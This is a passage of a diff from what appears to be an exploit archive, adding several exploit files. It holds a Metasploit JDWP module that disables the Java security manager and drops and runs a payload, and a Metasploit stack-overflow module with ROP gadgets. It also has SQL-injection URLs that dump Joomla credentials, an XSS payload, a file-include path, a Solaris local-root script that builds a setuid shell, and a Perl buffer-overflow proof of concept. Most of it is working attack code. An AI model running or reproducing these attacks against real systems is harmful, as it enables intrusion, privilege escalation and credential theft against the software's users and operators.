buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
|
||||
unless buf[0] == [TAG_VOID].pack('C')
|
||||
fail_with(Failure::Unknown, "Exception while writing to file")
|
||||
end
|
||||
end
|
||||
|
||||
# Closes a file on the server given a execution thread
|
||||
def close_file(thread_id, file)
|
||||
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close")
|
||||
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"])
|
||||
unless buf[0] == [TAG_VOID].pack('C')
|
||||
fail_with(Failure::Unknown, "Exception while closing file")
|
||||
end
|
||||
end
|
||||
|
||||
# Executes a system command on target VM making use of java.lang.Runtime.exec()
|
||||
def execute_command(thread_id, cmd)
|
||||
size = @vars["objectid_size"]
|
||||
|
||||
# 1. Creates a string on target VM with the command to be executed
|
||||
cmd_obj_ids = create_string(cmd)
|
||||
if cmd_obj_ids.length == 0
|
||||
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
|
||||
end
|
||||
|
||||
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
|
||||
|
||||
# 2. Gets Runtime context
|
||||
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")
|
||||
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
|
||||
unless buf[0] == [TAG_OBJECT].pack('C')
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
|
||||
end
|
||||
|
||||
rt = unformat(size, buf[1..1+size-1])
|
||||
if rt.nil? || (rt == 0)
|
||||
fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()")
|
||||
end
|
||||
|
||||
# 3. Finds and executes "exec" method supplying the string with the command
|
||||
exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")
|
||||
if exec_meth.nil?
|
||||
fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()")
|
||||
end
|
||||
|
||||
data = [TAG_OBJECT].pack('C')
|
||||
data << format(size, cmd_obj_id)
|
||||
data_array = [data]
|
||||
buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)
|
||||
unless buf[0] == [TAG_OBJECT].pack('C')
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
|
||||
end
|
||||
end
|
||||
|
||||
# Set event for stepping into a running thread
|
||||
def set_step_event
|
||||
# 1. Select a thread in sleeping status
|
||||
t_id = nil
|
||||
@threads.each_key do |thread|
|
||||
if thread_status(thread) == THREAD_SLEEPING_STATUS
|
||||
t_id = thread
|
||||
break
|
||||
end
|
||||
end
|
||||
fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil?
|
||||
|
||||
# 2. Suspend the VM before setting the event
|
||||
suspend_vm
|
||||
|
||||
vprint_status("#{peer} - Setting 'step into' event in thread: #{t_id}")
|
||||
step_info = format(@vars["objectid_size"], t_id)
|
||||
step_info << [STEP_MIN].pack('N')
|
||||
step_info << [STEP_INTO].pack('N')
|
||||
data = [[MODKIND_STEP, step_info]]
|
||||
|
||||
r_id = send_event(EVENT_STEP, data)
|
||||
unless r_id
|
||||
fail_with(Failure::Unknown, "Could not set the event")
|
||||
end
|
||||
|
||||
return r_id, t_id
|
||||
end
|
||||
|
||||
# Disables security manager if it's set on target JVM
|
||||
def disable_sec_manager
|
||||
sys_class = get_class_by_name("Ljava/lang/System;")
|
||||
|
||||
fields = get_fields(sys_class["reftype_id"])
|
||||
|
||||
sec_field = nil
|
||||
|
||||
fields.each do |field|
|
||||
sec_field = field["field_id"] if field["name"].downcase == "security"
|
||||
end
|
||||
|
||||
fail_with(Failure::Unknown, "Security attribute not found") if sec_field.nil?
|
||||
|
||||
value = get_value(sys_class["reftype_id"], sec_field)
|
||||
|
||||
if(value == 0)
|
||||
print_good("#{peer} - Security manager was not set")
|
||||
else
|
||||
set_value(sys_class["reftype_id"], sec_field, 0)
|
||||
if get_value(sys_class["reftype_id"], sec_field) == 0
|
||||
print_good("#{peer} - Security manager has been disabled")
|
||||
else
|
||||
print_good("#{peer} - Security manager has not been disabled, trying anyway...")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Uploads & executes the payload on the target VM
|
||||
def exec_payload(thread_id)
|
||||
# 0. Fingerprinting OS
|
||||
fingerprint_os(thread_id)
|
||||
|
||||
vprint_status("#{peer} - Executing payload on \"#{@os}\", target version: #{version}")
|
||||
|
||||
# 1. Prepares the payload
|
||||
payload_exe, pl_exe = setup_payload
|
||||
|
||||
# 2. Creates file on server for dumping payload
|
||||
file = create_file(thread_id, payload_exe)
|
||||
|
||||
# 3. Uploads payload to the server
|
||||
pl = upload_payload(thread_id, pl_exe)
|
||||
|
||||
# 4. Dumps uploaded payload into file on the server
|
||||
dump_payload(thread_id, file, pl)
|
||||
|
||||
# 5. Closes the file on the server
|
||||
close_file(thread_id, file)
|
||||
|
||||
# 5b. When linux arch, give execution permissions to file
|
||||
if target['Platform'] == 'linux'
|
||||
cmd = "chmod +x #{payload_exe}"
|
||||
execute_command(thread_id, cmd)
|
||||
end
|
||||
|
||||
# 6. Executes the dumped payload
|
||||
cmd = "#{payload_exe}"
|
||||
execute_command(thread_id, cmd)
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
@my_id = 0x01
|
||||
@vars = {}
|
||||
@classes = []
|
||||
@methods = {}
|
||||
@threads = {}
|
||||
@os = nil
|
||||
|
||||
connect
|
||||
|
||||
unless handshake == HANDSHAKE
|
||||
fail_with(Failure::NotVulnerable, "JDWP Protocol not found")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Retrieving the sizes of variable sized data types in the target VM...")
|
||||
get_sizes
|
||||
|
||||
print_status("#{peer} - Getting the version of the target VM...")
|
||||
get_version
|
||||
|
||||
print_status("#{peer} - Getting all currently loaded classes by the target VM...")
|
||||
get_all_classes
|
||||
|
||||
print_status("#{peer} - Getting all running threads in the target VM...")
|
||||
get_all_threads
|
||||
|
||||
print_status("#{peer} - Setting 'step into' event...")
|
||||
r_id, t_id = set_step_event
|
||||
|
||||
print_status("#{peer} - Resuming VM and waiting for an event...")
|
||||
response = resume_vm
|
||||
|
||||
unless parse_event(response, r_id, t_id)
|
||||
datastore['NUM_RETRIES'].times do |i|
|
||||
print_status("#{peer} - Received #{i + 1} responses that are not a 'step into' event...")
|
||||
buf = read_reply
|
||||
break if parse_event(buf, r_id, t_id)
|
||||
|
||||
if i == datastore['NUM_RETRIES']
|
||||
fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Received matching event from thread #{t_id}")
|
||||
print_status("#{peer} - Deleting step event...")
|
||||
clear_event(EVENT_STEP, r_id)
|
||||
|
||||
print_status("#{peer} - Disabling security manager if set...")
|
||||
disable_sec_manager
|
||||
|
||||
print_status("#{peer} - Dropping and executing payload...")
|
||||
exec_payload(t_id)
|
||||
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
9
platforms/multiple/remote/33802.txt
Executable file
9
platforms/multiple/remote/33802.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/38974/info
|
||||
|
||||
RakNet is prone to a remote integer-underflow vulnerability because it fails to sufficiently validate an integer value.
|
||||
|
||||
An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the affected application. Failed attempts may trigger a denial-of-service condition.
|
||||
|
||||
RakNet 3.72 is affected; other versions may be vulnerable as well.
|
||||
|
||||
http://www.exploit-db.com/sploits/33802.zip
|
||||
7
platforms/php/webapps/33793.txt
Executable file
7
platforms/php/webapps/33793.txt
Executable file
|
|
@ -0,0 +1,7 @@
|
|||
source: http://www.securityfocus.com/bid/38909/info
|
||||
|
||||
Kasseler CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||
|
||||
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
http://www.example.com/index.php?module=News&do=Category&id= [ SQL ]
|
||||
17
platforms/php/webapps/33794.txt
Executable file
17
platforms/php/webapps/33794.txt
Executable file
|
|
@ -0,0 +1,17 @@
|
|||
source: http://www.securityfocus.com/bid/38913/info
|
||||
|
||||
Multiple SpringSource Products are prone to multiple HTML-injection vulnerabilities because they fail to sufficiently sanitize user-supplied data.
|
||||
|
||||
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.
|
||||
|
||||
The following are vulnerable:
|
||||
|
||||
Hyperic HQ 4.0 prior to 4.0.3.2
|
||||
Hyperic HQ 4.1 prior to 4.1.2.1
|
||||
Hyper HQ Open Source
|
||||
Hyperic HQ 4.2 pre-release
|
||||
tc Server 6.0.20.B and prior
|
||||
AMS 2.0 prior to 2.0.0.SR4
|
||||
|
||||
Paste the following code into the description field:
|
||||
<SCRIPT>alert("XSS Vulnerable")</SCRIPT>
|
||||
8
platforms/php/webapps/33795.txt
Executable file
8
platforms/php/webapps/33795.txt
Executable file
|
|
@ -0,0 +1,8 @@
|
|||
source: http://www.securityfocus.com/bid/38914/info
|
||||
|
||||
The 'com_aml_2' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||
|
||||
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
|
||||
http://www.example.com/index.php?option=com_aml_2&task=annonce&page=detail&rub=immobilier&art=75+and+1=0+union+select+1,2,3,4,concat%28username,0xa,password,email%29,6,7,8+from+jos_users--
|
||||
7
platforms/php/webapps/33796.txt
Executable file
7
platforms/php/webapps/33796.txt
Executable file
|
|
@ -0,0 +1,7 @@
|
|||
source: http://www.securityfocus.com/bid/38916/info
|
||||
|
||||
The 'com_cb' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
|
||||
|
||||
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
|
||||
|
||||
http://www.example.com/index.php?option=com_cx&task=postview&postid=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41--
|
||||
7
platforms/php/webapps/33797.txt
Executable file
7
platforms/php/webapps/33797.txt
Executable file
|
|
@ -0,0 +1,7 @@
|
|||
source: http://www.securityfocus.com/bid/38917/info
|
||||
|
||||
The 'com_jresearch' component for Joomla! is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.
|
||||
|
||||
An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
|
||||
|
||||
http://www.example.com/index.php?option=com_jresearch&controller=../../../../../../../../../../proc/self/environ%00
|
||||
53
platforms/solaris/local/33799.sh
Executable file
53
platforms/solaris/local/33799.sh
Executable file
|
|
@ -0,0 +1,53 @@
|
|||
source: http://www.securityfocus.com/bid/38928/info
|
||||
|
||||
Sun Connection Update Manager for Solaris creates temporary files in an insecure manner.
|
||||
|
||||
An attacker with local access could potentially exploit these issues to perform symbolic-link attacks, overwriting arbitrary files in the context of the affected application.
|
||||
|
||||
Successfully mounting a symlink attack may allow the attacker to overwrite or corrupt sensitive files, which may result in a denial-of-service or privilege escalation. Other attacks may also be possible.
|
||||
|
||||
These issues affect unknown versions of the application. In addition, these issues may affect certain Solaris patch clusters or individual patch releases.
|
||||
|
||||
#!/bin/sh
|
||||
#Larry W. Cashdollar, local root for Solaris x86 during patching
|
||||
#10/4/2013 Tested on Cluster 9/30/2013
|
||||
# larry@s0l4r1s:~$ ./disk_exp.sh
|
||||
# [+] Creating evil shell
|
||||
# [+] Hope you've got gcc on here, compiling...
|
||||
# [+] Waiting for root shell
|
||||
# [+] Tada!
|
||||
# # id
|
||||
# uid=0(root) gid=0(root)
|
||||
|
||||
|
||||
echo "[+] Creating evil shell"
|
||||
|
||||
cat << EOF > r00t.c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
int
|
||||
main (void)
|
||||
{
|
||||
char *shell[2];
|
||||
shell[0] = "sh";
|
||||
shell[1] = NULL;
|
||||
setreuid (0, 0);
|
||||
setregid (0, 0);
|
||||
execve ("/bin/sh", shell, NULL);
|
||||
return(0);
|
||||
}
|
||||
EOF
|
||||
|
||||
echo "[+] Hope you've got gcc on here, compiling..."
|
||||
|
||||
gcc r00t.c -o /tmp/r00t
|
||||
|
||||
mkdir -p /tmp/diskette_rc.d/
|
||||
|
||||
echo "#!/bin/sh" > /tmp/diskette_rc.d/rcs9.sh
|
||||
echo "chown root:root /tmp/r00t" >> /tmp/diskette_rc.d/rcs9.sh
|
||||
echo "chmod +s /tmp/r00t" >> /tmp/diskette_rc.d/rcs9.sh
|
||||
chmod +x /tmp/diskette_rc.d/rcs9.sh
|
||||
echo "[+] Waiting for root shell"
|
||||
|
||||
until [ -u /tmp/r00t ]; do sleep 1; done; echo "[+] Tada!";/tmp/r00t
|
||||
189
platforms/windows/remote/33790.rb
Executable file
189
platforms/windows/remote/33790.rb
Executable file
|
|
@ -0,0 +1,189 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking # Reliable memory corruption
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Easy File Management Web Server Stack Buffer Overflow',
|
||||
'Description' => %q{
|
||||
Easy File Management Web Server v4.0 and v5.3 contains a stack buffer
|
||||
overflow condition that is triggered as user-supplied input is not
|
||||
properly validated when handling the UserID cookie. This may allow a
|
||||
remote attacker to execute arbitrary code.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'superkojiman', # Vulnerability discovery
|
||||
'Julien Ahrens', # Exploit
|
||||
'TecR0c <roccogiovannicalvi[at]gmail.com>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '107241'],
|
||||
['EDB', '33610'],
|
||||
['BID', '67542'],
|
||||
['URL', 'http://www.cnnvd.org.cn/vulnerability/show/cv_id/2014050536'],
|
||||
['URL', 'http://www.web-file-management.com/']
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process'
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00\x0a\x0d;",
|
||||
'Space' => 3420 # Lets play it safe
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
# Successfully tested efmws.exe (4.0.0.0) / (5.3.0.0) on:
|
||||
# -- Microsoft Windows XP [Version 5.1.2600]
|
||||
# -- Microsoft Windows [Version 6.1.7600]
|
||||
# -- Microsoft Windows [Version 6.3.9600]
|
||||
['Automatic Targeting', { 'auto' => true }],
|
||||
['Efmws 5.3 Universal', { 'Esp' => 0xA445ABCF, 'Ret' => 0x10010101 }],
|
||||
['Efmws 4.0 Universal', { 'Esp' => 0xA4518472, 'Ret' => 0x10010101 }],
|
||||
# 0x10010101 = pop ebx > pop ecx > retn
|
||||
# 0xA445ABCF = 0x514CF5 push esp > retn 0c
|
||||
# 0xA4518472 = 0x457452 jmp esp
|
||||
# From ImageLoad.dll
|
||||
],
|
||||
'DisclosureDate' => 'May 20 2014',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The URI path of an existing resource', '/vfolder.ghp'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def get_version
|
||||
|
||||
#
|
||||
# NOTE: Version 5.3 still reports "4.0" in the "Server" header
|
||||
#
|
||||
|
||||
version = nil
|
||||
res = send_request_raw({'uri' => '/whatsnew.txt'})
|
||||
if res && res.body =~ /What's new in Easy File Management Web Server V(\d\.\d)/
|
||||
version = $1
|
||||
vprint_status "#{peer} - Found version: #{version}"
|
||||
elsif res.headers['server'] =~ /Easy File Management Web Server v(4\.0)/
|
||||
version = $1
|
||||
vprint_status "#{peer} - Based on Server header: #{version}"
|
||||
end
|
||||
|
||||
version
|
||||
end
|
||||
|
||||
def check
|
||||
code = Exploit::CheckCode::Safe
|
||||
version = get_version
|
||||
if version.nil?
|
||||
code = Exploit::CheckCode::Unknown
|
||||
elsif version == "5.3"
|
||||
code = Exploit::CheckCode::Appears
|
||||
elsif version == "4.0"
|
||||
code = Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
code
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
#
|
||||
# Get target version to determine how to reach call/jmp esp
|
||||
#
|
||||
|
||||
print_status("#{peer} - Fingerprinting version...")
|
||||
version = get_version
|
||||
|
||||
if target.name =~ /Automatic/
|
||||
if version.nil?
|
||||
fail_with(Failure::NoTarget, "#{peer} - Unable to automatically detect a target")
|
||||
elsif version =~ /5\.3/
|
||||
my_target = targets[1]
|
||||
elsif version =~ /4\.0/
|
||||
my_target = targets[2]
|
||||
end
|
||||
print_good("#{peer} - Version #{version} found")
|
||||
else
|
||||
my_target = target
|
||||
unless version && my_target.name.include?(version)
|
||||
print_error("#{peer} - The selected target doesn't match the detected version, trying anyway...")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Fu to reach where payload lives
|
||||
#
|
||||
|
||||
sploit = rand_text(80) # Junk
|
||||
sploit << [0x1001D8C8].pack("V") # Push edx
|
||||
sploit << rand_text(280) # Junk
|
||||
sploit << [my_target.ret].pack("V") # Pop ebx > pop ecx > retn
|
||||
sploit << [my_target['Esp']].pack("V") # Setup call/jmp esp
|
||||
sploit << [0x10010125].pack("V") # Contains 00000000 to pass the jnz instruction
|
||||
sploit << [0x10022AAC].pack("V") # Mov eax,ebx > pop esi > pop ebx > retn
|
||||
sploit << rand_text(8) # Filler
|
||||
sploit << [0x1001A187].pack("V") # Add eax,5bffc883 > retn
|
||||
sploit << [0x1002466D].pack("V") # Push eax > retn
|
||||
sploit << payload.encoded
|
||||
|
||||
print_status "#{peer} - Trying target #{my_target.name}..."
|
||||
|
||||
#
|
||||
# NOTE: Successful HTTP request is required to trigger
|
||||
#
|
||||
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'cookie' => "SESSIONID=; UserID=#{sploit}; PassWD=;",
|
||||
}, 1)
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
|
||||
#
|
||||
# 0x44f57d This will write UserID up the stack. If the UserID is to large it
|
||||
# will overwrite a pointer which is used later on at 0x468702
|
||||
#
|
||||
|
||||
eax=000007d1 ebx=00000000 ecx=000001f4 edx=016198ac esi=01668084 edi=016198ac
|
||||
eip=0044f57d esp=016197e8 ebp=ffffffff iopl=0 nv up ei pl nz na po nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
|
||||
fmws+0x4f57d:
|
||||
0044f57d f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
|
||||
0:004> dd @esi
|
||||
01668084 41414141 41414141 41414141 41414141
|
||||
01668094 41414141 41414141 41414141 41414141
|
||||
016680a4 41414141 41414141 41414141 41414141
|
||||
016680b4 41414141 41414141 41414141 41414141
|
||||
016680c4 41414141 41414141 41414141 41414141
|
||||
016680d4 41414141 41414141 41414141 41414141
|
||||
016680e4 41414141 41414141 41414141 41414141
|
||||
016680f4 41414141 41414141 41414141 41414141
|
||||
|
||||
(c38.8cc): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
eax=00000000 ebx=00000000 ecx=015198fc edx=41414141 esi=015198ec edi=015198fc
|
||||
eip=00468702 esp=015197c0 ebp=ffffffff iopl=0 nv up ei pl nz na pe nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
|
||||
fmws+0x68702:
|
||||
00468702 ff5228 call dword ptr [edx+28h] ds:0023:41414169=????????
|
||||
|
||||
=end
|
||||
123
platforms/windows/remote/33804.pl
Executable file
123
platforms/windows/remote/33804.pl
Executable file
|
|
@ -0,0 +1,123 @@
|
|||
#!/usr/bin/perl
|
||||
#
|
||||
#
|
||||
# Ubisoft Rayman Legends v1.2.103716 Remote Stack Buffer Overflow Vulnerability
|
||||
#
|
||||
#
|
||||
# Vendor: Ubisoft Entertainment S.A.
|
||||
# Product web page: http://www.ubi.com
|
||||
# Affected version: 1.2.103716, 1.1.100477 and 1.0.95278
|
||||
#
|
||||
# Summary: Rayman Legends is a 2013 platform game developed by Ubisoft
|
||||
# Montpellier and published by Ubisoft. It is the fifth main title in
|
||||
# the Rayman series and the direct sequel to the 2011 game Rayman Origins.
|
||||
# The game was released for Microsoft Windows, Xbox 360, PlayStation 3,
|
||||
# Wii U, and PlayStation Vita platforms in August and September 2013.
|
||||
# PlayStation 4 and Xbox One versions were released in February 2014.
|
||||
#
|
||||
# Desc: The vulnerability is caused due to a memset() boundary error in the
|
||||
# processing of incoming data thru raw socket connections on TCP port 1001,
|
||||
# which can be exploited to cause a stack based buffer overflow by sending a
|
||||
# long string of bytes on the second connection. Successful exploitation could
|
||||
# allow execution of arbitrary code on the affected node.
|
||||
#
|
||||
# ===========================================================================
|
||||
#
|
||||
# (15a8.f0c): Access violation - code c0000005 (first chance)
|
||||
# First chance exceptions are reported before any exception handling.
|
||||
# This exception may be expected and handled.
|
||||
# eax=aaaaaaaa ebx=096494a0 ecx=10909090 edx=00000002 esi=1c1bde90 edi=00000000
|
||||
# eip=715e26df esp=0f16dcec ebp=0f16dd14 iopl=0 nv up ei pl nz na pe cy
|
||||
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010207
|
||||
# MSVCR100!memset+0x5f:
|
||||
# 715e26df f3ab rep stos dword ptr es:[edi]
|
||||
# 0:028> d esp
|
||||
# 0f16dcec 42 42 42 42 64 00 a6 00-00 00 00 00 aa 00 00 00 BBBBd...........
|
||||
# 0f16dcfc 42 42 42 42 42 42 42 42-22 00 00 00 50 42 4b 1c BBBBBBBB"...PBK.
|
||||
# 0f16dd0c 90 43 0f 08 01 00 00 00-28 dd 16 0f 04 02 a6 00 .C......(.......
|
||||
# 0f16dd1c 50 42 4b 1c 6c dd 16 0f-d8 03 00 00 4c fd 16 0f PBK.l.......L...
|
||||
# 0f16dd2c e3 f9 a5 00 48 dd 16 0f-fc 03 00 00 3c 1d f7 07 ....H.......<...
|
||||
# 0f16dd3c 3c 1d f7 07 fb 14 db 75-fc 03 00 00 41 41 41 41 <......u....AAAA
|
||||
# 0f16dd4c 41 41 41 41 41 41 41 41-41 41 41 41 42 42 42 42 AAAAAAAAAAAABBBB
|
||||
# 0f16dd5c 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
|
||||
#
|
||||
# ===========================================================================
|
||||
#
|
||||
#
|
||||
# Tested on: Microsoft Windows 7 Professional SP1 (EN)
|
||||
# Microsoft Windows 7 Ultimate SP1 (EN)
|
||||
#
|
||||
#
|
||||
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
||||
# @zeroscience
|
||||
#
|
||||
#
|
||||
# Advisory ID: ZSL-2014-5187
|
||||
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5187.php
|
||||
#
|
||||
#
|
||||
# 22.05.2014
|
||||
#
|
||||
#
|
||||
|
||||
use IO::Socket;
|
||||
|
||||
print
|
||||
"
|
||||
@****************************************@
|
||||
| |
|
||||
| Ubisoft Rayman Legends BoF PoC Script |
|
||||
| |
|
||||
| ZSL-2014-5187 |
|
||||
| |
|
||||
@****************************************@
|
||||
";
|
||||
|
||||
$ip="$ARGV[0]";
|
||||
|
||||
if($#ARGV!=0)
|
||||
{
|
||||
print "\n\n\x20\x20\x1c\x20Usage: $0 <ipaddr>\n\n";
|
||||
exit();
|
||||
}
|
||||
|
||||
print "\n\x20\x1c\x20Target: $ip\n";
|
||||
print "\x20\x1c\x20Initiating first connection\n";
|
||||
|
||||
sleep 2;
|
||||
$conn1=IO::Socket::INET->new(PeerAddr=>$ip,PeerPort=>1001,Proto=>'tcp');
|
||||
if(!$conn1)
|
||||
{
|
||||
print "\n\x20*** Connection error!\n";
|
||||
exit();
|
||||
} else
|
||||
{
|
||||
print "\x20\x1c\x20Connection established\n";
|
||||
}
|
||||
|
||||
print $conn1 "\x44"x36;
|
||||
print $conn1 "\x45\x45\x45\x45";
|
||||
print $conn1 "\x46"x2000; # SC contain
|
||||
print "\x20\x1c\x20Payload sent\n";
|
||||
close $conn1;
|
||||
print "\x20\x1c\x20First stage completed\n\x20\x1c\n";
|
||||
print "\x20\x1c\x20Initiating second connection\n";
|
||||
|
||||
sleep 2;
|
||||
$conn2=IO::Socket::INET->new(PeerAddr=>$ip,PeerPort=>1001,Proto=>'tcp');
|
||||
if(!$conn2)
|
||||
{
|
||||
print "\n\x20*** Connection error!\n";
|
||||
exit();
|
||||
} else
|
||||
{
|
||||
print "\x20\x1c\x20Connection established\n";
|
||||
}
|
||||
|
||||
print $conn2 "\x41" x 16;
|
||||
print $conn2 "\x42\x42\x42\x42"; # ESP ->
|
||||
print $conn2 "\x43"x1000; # SC contain
|
||||
print "\x20\x1c\x20Payload sent\n";
|
||||
print "\x20\x1c\x20Second stage completed\n";
|
||||
close $conn2;
|
||||
print "\x20\x1c\x20t00t!\n";
|
||||
Loading…
Add table
Reference in a new issue